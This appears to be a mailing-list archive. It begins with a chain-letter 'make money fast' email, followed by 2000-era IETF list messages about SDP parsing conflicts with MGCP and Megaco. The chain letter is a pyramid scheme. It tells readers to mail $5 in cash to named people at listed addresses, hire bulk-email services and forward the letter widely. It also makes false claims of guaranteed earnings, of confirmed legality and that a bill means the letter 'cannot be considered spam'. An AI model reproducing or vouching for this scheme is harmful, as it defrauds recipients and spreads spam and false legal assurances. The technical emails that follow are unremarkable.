It works (like designed) but only for those who follow it to the letter!

Please read this program THEN READ IT AGAIN!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE. LEGAL, MONEY MAKING OPPORTUNITY!! It does NOT
require you to come into contact with people or make or take any
telephone
calls. Just follow the instructions, and you will make money. This
simplified e-mail marketing program works perfectly 100% EVERY TIME!

E-mail is the sales tool of the future. Take advantage of this virtually

free method of advertising NOW!!! The longer you wait, the more people
will
be doing business using e-mail. Get your piece of this action!!!

Hello, My name is Johnathon Rourke, I’m from Rhode Island.  The enclosed

information is something I almost let slip through my fingers.
Fortunately, sometime later I re-read everything and gave some thought
and study to it. Two years ago, the corporation I worked for the past
twelve yearsdown-sized and my position was eliminated. After
unproductive
job interviews, I decided to open my own business. Over the past year,I
incurred many unforeseen financial problems. I owed my family, friends
and
creditors over$35,000. The economy was taking a toll on my business and
I
just could not seem to make ends meet. I had to refinance and borrow
against
my home to support my family and struggling business.

AT THAT MOMENT something significant happened in my life. I am writing
to share the experience I hopes that this could change your life
FOREVER.
FINANCIALLY$$$!!!

In mid December, I received this program in my e-mail. Six months prior
to
receiving this program I had been sending away for information on
various
business opportunities. All of the programs I received, in my
opinion,were
not cost effective. They were either toodifficult for me to comprehend
or
the initial investment was too muchfor me to risk to see if they would
work.
But as I was saying, in December of 1997 I received this program.I
didn’t
send for it, or ask for it, they just got my name off a mailing list.

THANK GOODNESS FOR THAT!!!

After reading it several times, to make sure I was reading it correctly.
I
couldn’t believe my eyes! Here was a MONEY MAKING MACHINE I could start
immediately without any debt. Like most of you I was still a little
skeptical and a little worried about the legalaspects of it all. So I
checked it out with the U.S. Post Office (1-800-725-2161 24-hrs)  and
they
confirmed that it is indeed legal ! After determining the program was
LEGAL
I decided WHY NOT!?!??

Initially I sent out 10,000 e-mails. It cost me about $15 for my time
on-line. The great thing about e-mail is that I don’t need any paper for

printing to send out the program, and because I also send the product
(reports) by e-mail, my only expense is my time. In less than one week,I
was
starting to receive orders for REPORT #1.

By January 13, I had received 26 orders for REPORT #1. Your goal is to
RECEIVE at least 20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS. IF YOU DON’T
SEND OUT MORE PROGRAMS UNTIL YOU DO. My first step in making $50,000 in
90
days was done. By January 30, I had received 196 orders for REPORT #2.
Your
goal is to RECEIVE AT LEAST 100+ ORDERS FOR REPORT #2 WITHIN
2 WEEKS. IF NOT SEND OUT MORE PROGRAMS UNTIL YOU! DO. ONCE YOU HAVE
100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL.

Well, I had 196 orders for REPORT #2. 96 more than I needed. So I
sat back and relaxed.

By March 1, of my e-mailing of 10,000, received $58,000 with more coming
in
every day. I paid off ALL my debts and bought a much need new car!
Please
take your time to read this plan, IT WILL CHANGE YOUR LIFE FOREVER$!!!
Remember, it won’t work if you don’t try it. This program does work, But
you
must follow it EXACTLY! Especially the rules of not trying to place your

name in a different place. It won’t work and you’ll lose out on a lot of

money! In order for this program to work, you must meet your goal of 20+

orders for REPORT #1, and 100+ orders for REPORT #2 and you will make
$50,000 or more in 90 days.

I AM LIVING PROOF THAT IT WORKS!!!

If you choose not to participate in this program, I am sorry. It really
is a great opportunity with little cost or risk to you.  If you choose
toparticipate, follow the program and you will be on your way to
financial security. If you are a fellow business owner and
are financial trouble like I was, or you want to start your own
business, consider this a sign. I DID! $$

Sincerely,
Johnathon Rourke

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM: By the time you
have read the enclosed program and reports, you should have concluded
that
such a program, and one that is legal, cpuld not have been created by an

amateur. Let me tell you a little about myself. I had a profitable
business
for 10 years. Then in 1979 my business began falling off. I was doing
the
same things that were previously successful for me, but it wasn’t
working.
Finally, I figured it out. It wasn’t me, it was the economy. Inflation
and
recession had replaced the stable economy that had been with us since
1945.
I don’t have to tell you what happened to the unemployment rate because
many
of you know from first hand experience. There were more failures and
bankruptcies than ever before. The middle class was vanishing. Those who

knew what they were doing invested wisely and moved up. Those who did
not,
including those who never had anything to save or invest, were moving
down into the ranks of the poor. As the saying goes, THE RICH GET RICHER

ANDTHE POOR GET POORER.  The traditional methods of making money will
never
allow you to move up or get rich, inflation will see to that You have
just
received the rest of  your life, with NO RISK and JUST A LITTLE BIT OF
EFFORT. You can make more money in the next few months than you have
everimagined.I should also point out that I will not see a penny of this

money, nor anyone else who has provided a testimonial for this program.
I
retired from the program after sending thousands and thousands of
programs.
Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
It
works exceedingly well as it is now. Remember to e-mail a copyof this
exciting report to everyone you can think of. One of the people you send

this to may send out 50,000 and your name will be on everyone of them!
REMEMBER though, ------ the MORE YOU SEND OUT, the more potential
customers
you will reach. So my friend, I have given you the ideas,  information,
materials and opportunity to become financially independent.

IT IS UP TO YOU!! NOW DO IT!!

BEFORE YOU delete this program from your in box, as I almost did, take a

little time to read it and REALLY THINK ABOUT IT. Get a pencil and
figure out what could happen when YOU participate. Figure out the worst
possible response and no matter how you calculate it, you will still
make a
lot of money! You will definitely get back what you invested. Any doubts
you
have will vanish when your first orders come in. $$$ IT WORKS!!! $$$

Jody Jacobs Richmond, VA.

HERE’S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF
DOLLARS$$$$!!!!

This method of raising capital REALLY WORKS 100% EVERY TIME. I am sure
that you could use up to $50,000 or more in the next 90 days. Before you
say
BULL, please read this program carefully. This is not a chain letter,but
a
perfectly legal money making business. As with all multi-level
businesses,
we build our business by recruiting new partners and selling our
products.
Every state in the USA allows you to recruit new multi-level business
partners, and we sell and deliver a product for EVERY dollar received.

YOUR ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, so you are not
involved in personal selling. You do it privately in your own home,
store or
office. This is the EASIEST marketing plan anywhere! It is simply order
filling by e-mail! The product is informational and instructional
material,
keys to the secrets for everyone on how to open the doors to the magic
world
of E-COMMERCE, the information highway, the wave of the future !

PLAN SUMMARY:

(1) You order the 4 reports listed below ($5 each) They come to you by
e-mail.

(2)  Save a copy of this entire letter and put your name after Report #1
and
move the other names down.

(3)  Via the internet, access Yahoo.com or any of the other major search

engines to locate hundreds of bulk e-mail service companies (search for
bulk
email) and have them send 25,000  50,000 emails for you about $49+.

(4)  Orders will come to you by postal mail simply e-mail them the
Report they ordered. Let me ask you  isn’t this about as easy as it
gets?

By the way there are over 50 MILLION e-mail address with millions more
joining the internet each year so don’t worry about running out or
saturation. People are used to seeing and hearing the same
advertisements every day on radio/TV. How many times have you received
the same pizza flyers on your door? Then one day you are hungry for
pizza
and order one. Same thing with this letter. I received this letter many
times  then one day I decided it was time to try it.

YOU CAN START TODAY UST DO THESE EASY STEPS: STEP #1 ORDER THE FOUR
REPORTS

Order the four reports shown on the list below (you can’t sell them if
you don’t order them).  For each report, send $5.00 CASH, the NAME &
NUMBER
OF THE REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME &
RETURN
ADDRESS (in case of a problem) to the person whose name appears on the
list
next to the report.MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE IN
CASE OF ANY MAIL PROBLEMS! Within a few days you will receive, by e-mail

each of the four reports.Save them on your computer so you can send them
to
the 1,000’s of people who will  order them from you.

STEP #2. ADD YOUR MAILING ADDRESS TO THIS LETTER

a. Look below for the listing of the four reports.
b. After you’ve ordered the four reports, delete the name and address
under REPORT #4. This person has made it through the cycle.
c. Move the name and address under REPORT #3 down to REPORT #4.
d. Move the name and address under REPORT #2 down to REPORT #3.
e. Move the name and address under REPORT #1 down to REPORT #2.
f. Insert your name/address in the REPORT #1 position. Please make sure
you

COPY ALL INFORMATION, every name and address, ACCURATELY!

STEP #3. Take this entire letter, including the modified list of names,
and save it to your computer. Make NO changes to these instructions. Now
you
are ready to use this entire e-mail to send by e-mail to prospects.

Report #1 will tell you how to download bulk email software and email
address so you can send it out to thousands of people while you sleep!
Remember that 50,000+ new people are joining the internet every month!
Your cost to participate in this is practically nothing ( surely you can

afford $20 and initial bulk mailing cost). You obviously already have a
computer and an Internet connection and e-mail is FREE! There are two
primary methods of building your downline: METHOD #1: SENDING BULK
E-MAIL
let’s say that you decide to start small, just to see how it goes, and
we’ll
assume you and all those involved email out only 2,000 programs each.
Let’s
also assume that the mailing receives a 0.5% response. The response
could be
much better. Also, many people will email out thousands of thousands of
programs instead of 2,000 (Why stop at 2000?) But continuing with this
example, you send out only 2,000 programs. With a 0.5% response, that is

only 10 orders for REPORT #1. Those 10 people respond by sending out
2,000
programs each for a total of 20,000. Out of those 0.5%, 100 people
respond
and order REPORT #2.Those 100 mail out 2,000 programs each for a total
of
200,000. The 0.5% response to that is 1,000 orders for REPORT #3. Those
1,000 send out 2,000  programs each for a 2,000,000 total. The 0.5%
response
to that is 10,000 orders for REPORT #4. That’s 10,000 $5 bills for you.
CASH!!! Your total income in this example is $50 + $500 + $5000 +
$50,000
for a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU MAIL
TO
WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK FOR A
MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS
INSTEAD OF 2,000. Believe me, many people will do just that, and more!

METHOD #2 PLACING FREE ADS ON THE INTERNET Advertising on the internet
is very, very inexpensive, and there are HUNDREDS of FREE places to
advertise. Let’s say you decide to start small to see how well it works.

Assume your goal is to get ONLY 10 people to participate on your first
level. (Placing a lot of FREE ads on the Internet will EASILY get a
larger
response). Also assume that everyone else in YOUR ORGANIZATION gets only
10
downline members. Look how this small number accumulates to achieve the
STAGGERING results below:

1St level  your first 10 send you $5........................$50
2nd level  10 members from those 10 ($5 x 100)............$500
3rd level  10 members from those 100 ($5 x 1,000)......$5,000
4th level 10 members from those 1,000 ($5 x 10,000)..$50,000
$$$$$$ THIS TOTALS
------------------------------------------------55,5550
$$$$$

AMAZING ISN’T IT Remember friends, this assumes that the people who
participate only recruit 10 people each. Think for a moment what would
happen if they got 20 people to participate! Most people get 100’s of
participants and many will continue to work this program, sending out
programs WITH YOUR NAME ON THEM for years! THINK ABOUT IT!
People are going to get emails about this plan from you or somebody else
and
many will work this plan  the question is Don’t you want your name to be
on
the emails they will send out?

*** DON’T MISS OUT !!!***
***JUST TRY IT ONCE !!!***
***SEE WHAT HAPPENS !!!***
***YOU'LL BE AMAZED !!!***

ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS! This will guarantee that
the e-mail THEY send out with YOUR name and address on it will be prompt

because they can’t advertise until they receive the report!

GET STARTED TODAY: PLACE YOUR ORDER FOR THE FOUR REPORTS NOW. Note:--
ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT. CHECKS NOT
ACCEPTED.
Make sure the cash is concealed by wrapping it in two sheets of paper.
On
one of those sheets write:

(a) the number & name of the report you are ordering
(b) your e-mail address, and
(c) your name & postal address.

REPORT #1b The Insider’s Guide to Advertising for Free on the Internet
ORDER REPORT #1 FROM:

NICK NICHOLAS
473 MICHIGAN ST
ST.PAUL, MN 55102

NOTE: I and every member below are dedicated at helping you with this
program so it will work for you also. TRY US!

REPORT #2 The Insider’s Guide to Sending Bulk E-Mail on the Internet
ORDER REPORT #2 FROM:

DIANE COLON
1811 TAMARIND AVE # 206
LOS ANGELES, CA. 90028

REPORT #3 The Secrets to Multilevel Marketing on the Internet
ORDER REPORT #3 FROM:

MELISSA HOGENMILLER
3709 MONHEIM ROAD
CONOVER, WI 54519

REPORT #4 How to become a Millionaire utilizing the Power of Multilevel
Marketing and the Internet
ORDER REPORT #4 FROM:

CATHY BARROW
10 SYCAMORE STREET
CONWAY, SC 29527

*************TIPS FOR SUCCESS***************
TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow the
directions accurately.  Send for the four reports IMMEDIATELY so you
will have them when the orders start coming in because: When you
receive a $5 order you MUST send out the requested product/report.
It is required for this to be a legal business and they need the
reports to send out their letter (with your name on them).

--ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. Be
patient and persistent with this program- If you follow the
instructions exactly results WILL FOLLOW. $$$$

************ YOUR SUCCESS GUIDELINES ***************

Follow these guidelines to guarantee your success: If you don’t receive
20 orders for REPORT #1 within two weeks, continue advertising or
sending
e-mail until you do. Then a couple of weeks later you should receive at
least 100 orders for REPORT #2. If you don’t continue advertising or
sending
e-mail until you do. Once you have received 100 or more orders for
REPORT
#2, YOU CAN RELAX, because the system is already working for you, and
the
cash will continue to roll in! THIS IS IMPORTANT TO REMEMBER:  Every
time
your name is moved down on the list, you are placed in front of a
DIFFERENT
report. You can KEEP TRACK of your  PROGRESS by watching which report
people
are ordering from you. To generate more income, simply send another
batch of
e-mails or continue placing ads and start the whole process again! There
is
no limit to the income you will generate from this business! Before you
make
your decision as to whether or not you participate in this program.
Please
answer one question:

ARE YOU HAPPY WITH YOUR PRESENT INCOME OR JOB?

1. If the answer is no, then please look at the following facts about
this super simple MLM program: NO face to face selling, NO meetings, NO
inventory! NO Telephone calls, NO big cost to start! Nothing to learn,
No skills needed! (Surely you know how to send email?)

2. No equipment to buy you already have a computer and internet
connection so you have everything you need to fill orders!

3. You are selling a product which does NOT COST ANYTHING TO PRODUCE OR
SHIP! (Email copies of the reports are FREE!)

4. All of your customers pay you in CASH! This program will change your
LIFE  FOREEVER!! Look at the potential for you to be able to quit your
job and live a life of luxury you could only dream about! Imagine
getting out of debt and buying the car and home of your dreams and
being able to work a super-high paying leisurely easy business from
home!

$$$ FINALLY MAKE SOME DREAMS COME TRUE! $$$ ACT NOW!
Take your first step toward achieving financial independence.  Order
the reports and follow the program outlined above __ SUCCESS will be
your reward.

Thank you for your time and consideration. PLEASE NOT: If you need
help with starting a business, registering a business name, learning
now income tax is handled, etc., contact your local office of the
Small Business Administration  (A Federal Agency) 1-800-827-5722
for free help and answers to questions. Also the Internal Revenue
Service offers free help via telephone and free seminars about
business tax requirements. Your earnings are highly dependent on
your activities and advertising. The information contained on this
site and in the report constitutes no guarantees stated nor implied.
In the event that it is determined that this site or report
constitutes a guarantee of any kind, that guarantee is now void. The
earnings amounts listed on this site and in the report are estimates
only. If you have any questions of the legality of this program,
contact the Office of Associate Director for Marketing Practices,
Federal Trade Commission, Bureau of Consumer Protection in
Washington DC.

Under Bill s.1618 TITLE III passed by the 105th US Congress this
letter cannot be considered spam as long as the sender includes
contact information and a method of removal. This is a one time
e-mail transmission. No request for removal is necessary.




From confctrl-owner  Tue Sep 19 08:31:15 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA02252
	for confctrl-outgoing; Tue, 19 Sep 2000 08:31:15 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA02247
	for <confctrl@zephyr.isi.edu>; Tue, 19 Sep 2000 08:31:14 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA14674;
	Tue, 19 Sep 2000 08:31:06 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e8JFV1r08126;
	Tue, 19 Sep 2000 17:31:02 +0200 (MET DST)
Message-Id: <200009191531.e8JFV1r08126@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1 (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Tue, 19 Sep 2000 17:27:46 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: MMUSIC Slides from Pittsburgh
Cc: csp@ISI.EDU, minutes@ietf.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

the presentations are now available from

    http://www.dmn.tzi.de/ietf/mmusic

as PPT and as PDF.

Joerg



From confctrl-owner  Tue Sep 26 22:38:36 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA23484
	for confctrl-outgoing; Tue, 26 Sep 2000 22:38:36 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA23479
	for <confctrl@zephyr.isi.edu>; Tue, 26 Sep 2000 22:38:34 -0700 (PDT)
Received: from hotmail.com (lc5-lfd72.law5.hotmail.com [216.33.238.94])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id WAA28598
	for <confctrl@isi.edu>; Tue, 26 Sep 2000 22:38:39 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 26 Sep 2000 22:38:09 -0700
Received: from 164.164.6.34 by www.hotmail.msn.com with HTTP;	Wed, 27 Sep 2000 05:38:09 GMT
X-Originating-IP: [164.164.6.34]
From: "rahul pande" <panderahul@hotmail.com>
To: confctrl@ISI.EDU
Subject: some doubts....
Date: Wed, 27 Sep 2000 11:08:09 IST
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <LC5-LFD72y9tMTF4ia5000002f3@hotmail.com>
X-OriginalArrivalTime: 27 Sep 2000 05:38:09.0484 (UTC) FILETIME=[1E6F50C0:01C02845]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

hello all,
    In the SDP rfc its mentioned that ::

  s=<session name>

  The "s=" field is the session name.  There must be one and only one
  "s=" field per session description, and it must contain ISO 10646
  characters (but see also the `charset' attribute below).

  The same is true for other "text" based value types.

  Does SDP need to check if these texts are abiding by the charset
value provided or simply pass it to the application to handle all these
things.

Please do respond to my query.
Thanking you,
   rahul

_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

Share information about yourself, create your own public profile at 
http://profiles.msn.com.


From confctrl-owner  Wed Sep 27 06:24:48 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA07518
	for confctrl-outgoing; Wed, 27 Sep 2000 06:24:48 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA07513
	for <confctrl@zephyr.isi.edu>; Wed, 27 Sep 2000 06:24:46 -0700 (PDT)
Received: from hotmail.com (lc2-lfd54.law5.hotmail.com [209.185.243.203])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA29521
	for <confctrl@isi.edu>; Wed, 27 Sep 2000 06:24:53 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 27 Sep 2000 06:24:23 -0700
Received: from 164.164.6.34 by www.hotmail.msn.com with HTTP;	Wed, 27 Sep 2000 13:24:22 GMT
X-Originating-IP: [164.164.6.34]
From: "rahul pande" <panderahul@hotmail.com>
To: confctrl@ISI.EDU
Subject: some discrepancies.........
Date: Wed, 27 Sep 2000 18:54:22 IST
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <LC2-LFD542rV4ZneAzd0000030c@hotmail.com>
X-OriginalArrivalTime: 27 Sep 2000 13:24:23.0011 (UTC) FILETIME=[3FF4CB30:01C02886]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

hello Sir,

In MGCP ::
  under the heading "Encoding of the session description" its stated :

   "The session description is encoded in conformance with the session
    description protocol, SDP. MGCP implementations are expected to be
    fully capable of parsing any conformant SDP message, and should send
    session descriptions that strictly conform to the SDP standard."

Sir, In MGCP under the topic "Usage of SDP in a network access service"
a new <media> attribute is defined i.e. "nas/XXXX" where as in SDP the 
syntax for <media> is ::

   IN SDP----> <media> = 1*(alpha-numeric)
                        ;typically "audio", "video", "application"
                        ;or "data"
  It won't accept the char '/'.

In an example in MGCP ::
                        v=0
                        m=nas/radius *****pay a note here*******
                        c=IN IP4 radius.example.net
                        a=bearer:v.34
                        a=framing:ppp-asynch
                        a=dialed:18001234567
                        a=called:12345678901
                        a=dialing:12340567890

In SDP the "m=" attribute syntax is as follows ::
"m=" media space port ["/" integer] space proto 1*(space fmt) CRLF

Here all the fields are mandatory and so port and other things cannot be 
left out.

These are few of the discrepancies i found in MGCP b'cause of which old sdp 
implementations won't work with MGCP. Its easy to add new attributes but 
would be difficult to change the grammar that is already existing.

In "Megaco" also is saying that you can skip "s=", "t=", "o=" lines in sdp 
message but an RFC2327 conformant SDP would definitely issue an error and 
would reject the message.

Please comment on the above and let me know how old sdps can handle the new 
definitions.
    Thanking you,
      rahul







"When text encoding the protocol, the descriptors consist of session
   descriptions as defined in SDP (RFC2327).  In session descriptions
   sent from the MGC to the MG, the following exceptions to the syntax
   of RFC 2327 are allowed:

    * the "s=", "t=" and "o=" lines are optional"


_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

Share information about yourself, create your own public profile at 
http://profiles.msn.com.


From confctrl-owner  Wed Sep 27 09:41:00 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA13958
	for confctrl-outgoing; Wed, 27 Sep 2000 09:41:00 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA13953
	for <confctrl@zephyr.isi.edu>; Wed, 27 Sep 2000 09:40:58 -0700 (PDT)
Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA18473
	for <confctrl@ISI.EDU>; Wed, 27 Sep 2000 09:41:05 -0700 (PDT)
Received: from zrchb213.us.nortel.com (actually zrchb213) 
          by smtprch1.nortel.com; Wed, 27 Sep 2000 11:37:44 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <T3FNSL2B>; Wed, 27 Sep 2000 11:37:40 -0500
Message-ID: <28560036253BD41191A10000F8BCBD11480DF0@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'rahul pande'" <panderahul@hotmail.com>, confctrl@ISI.EDU
Subject: RE: some discrepancies.........
Date: Wed, 27 Sep 2000 11:37:05 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C028A1.2C067400"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C028A1.2C067400
Content-Type: text/plain;
	charset="iso-8859-1"

Speaking for Megaco, I must give warning that standard SDP implementations
simply will not work in the MG.  We not only permit omission of the lines
you note in the MGC->MG direction, but allow extra constructs like
wildcarding, ranges, and lists of alternatives.  In the MG->MGC direction we
are less permissive (athough I can't find the words I think used to be there
to say so).

> -----Original Message-----
> From: rahul pande [mailto:panderahul@hotmail.com]
> Sent: Wednesday, September 27, 2000 2:54 PM
> To: confctrl@ISI.EDU
> Subject: some discrepancies.........
> 
> 
> hello Sir,
> 
> In MGCP ::
>   under the heading "Encoding of the session description" its stated :
> 
>    "The session description is encoded in conformance with the session
>     description protocol, SDP. MGCP implementations are expected to be
>     fully capable of parsing any conformant SDP message, and 
> should send
>     session descriptions that strictly conform to the SDP standard."
> 
> Sir, In MGCP under the topic "Usage of SDP in a network 
> access service"
> a new <media> attribute is defined i.e. "nas/XXXX" where as 
> in SDP the 
> syntax for <media> is ::
> 
>    IN SDP----> <media> = 1*(alpha-numeric)
>                         ;typically "audio", "video", "application"
>                         ;or "data"
>   It won't accept the char '/'.
> 
> In an example in MGCP ::
>                         v=0
>                         m=nas/radius *****pay a note here*******
>                         c=IN IP4 radius.example.net
>                         a=bearer:v.34
>                         a=framing:ppp-asynch
>                         a=dialed:18001234567
>                         a=called:12345678901
>                         a=dialing:12340567890
> 
> In SDP the "m=" attribute syntax is as follows ::
> "m=" media space port ["/" integer] space proto 1*(space fmt) CRLF
> 
> Here all the fields are mandatory and so port and other 
> things cannot be 
> left out.
> 
> These are few of the discrepancies i found in MGCP b'cause of 
> which old sdp 
> implementations won't work with MGCP. Its easy to add new 
> attributes but 
> would be difficult to change the grammar that is already existing.
> 
> In "Megaco" also is saying that you can skip "s=", "t=", "o=" 
> lines in sdp 
> message but an RFC2327 conformant SDP would definitely issue 
> an error and 
> would reject the message.
> 
> Please comment on the above and let me know how old sdps can 
> handle the new 
> definitions.
>     Thanking you,
>       rahul
> 
> 
> 
> 
> 
> 
> 
> "When text encoding the protocol, the descriptors consist of session
>    descriptions as defined in SDP (RFC2327).  In session descriptions
>    sent from the MGC to the MG, the following exceptions to the syntax
>    of RFC 2327 are allowed:
> 
>     * the "s=", "t=" and "o=" lines are optional"
> 
> 
> ______________________________________________________________
> ___________
> Get Your Private, Free E-mail from MSN Hotmail at 
http://www.hotmail.com.

Share information about yourself, create your own public profile at 
http://profiles.msn.com.


------_=_NextPart_001_01C028A1.2C067400
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: some discrepancies.........</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Speaking for Megaco, I must give warning that =
standard SDP implementations simply will not work in the MG.&nbsp; We =
not only permit omission of the lines you note in the MGC-&gt;MG =
direction, but allow extra constructs like wildcarding, ranges, and =
lists of alternatives.&nbsp; In the MG-&gt;MGC direction we are less =
permissive (athough I can't find the words I think used to be there to =
say so).</FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: rahul pande [<A =
HREF=3D"mailto:panderahul@hotmail.com">mailto:panderahul@hotmail.com</A>=
]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, September 27, 2000 2:54 =
PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: confctrl@ISI.EDU</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: some discrepancies.........</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; hello Sir,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; In MGCP ::</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; under the heading &quot;Encoding of =
the session description&quot; its stated :</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; &quot;The session description =
is encoded in conformance with the session</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; description protocol, =
SDP. MGCP implementations are expected to be</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; fully capable of =
parsing any conformant SDP message, and </FONT>
<BR><FONT SIZE=3D2>&gt; should send</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; session descriptions =
that strictly conform to the SDP standard.&quot;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Sir, In MGCP under the topic &quot;Usage of SDP =
in a network </FONT>
<BR><FONT SIZE=3D2>&gt; access service&quot;</FONT>
<BR><FONT SIZE=3D2>&gt; a new &lt;media&gt; attribute is defined i.e. =
&quot;nas/XXXX&quot; where as </FONT>
<BR><FONT SIZE=3D2>&gt; in SDP the </FONT>
<BR><FONT SIZE=3D2>&gt; syntax for &lt;media&gt; is ::</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; IN SDP----&gt; &lt;media&gt; =
=3D 1*(alpha-numeric)</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; ;typically &quot;audio&quot;, &quot;video&quot;, =
&quot;application&quot;</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; ;or &quot;data&quot;</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; It won't accept the char =
'/'.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; In an example in MGCP ::</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
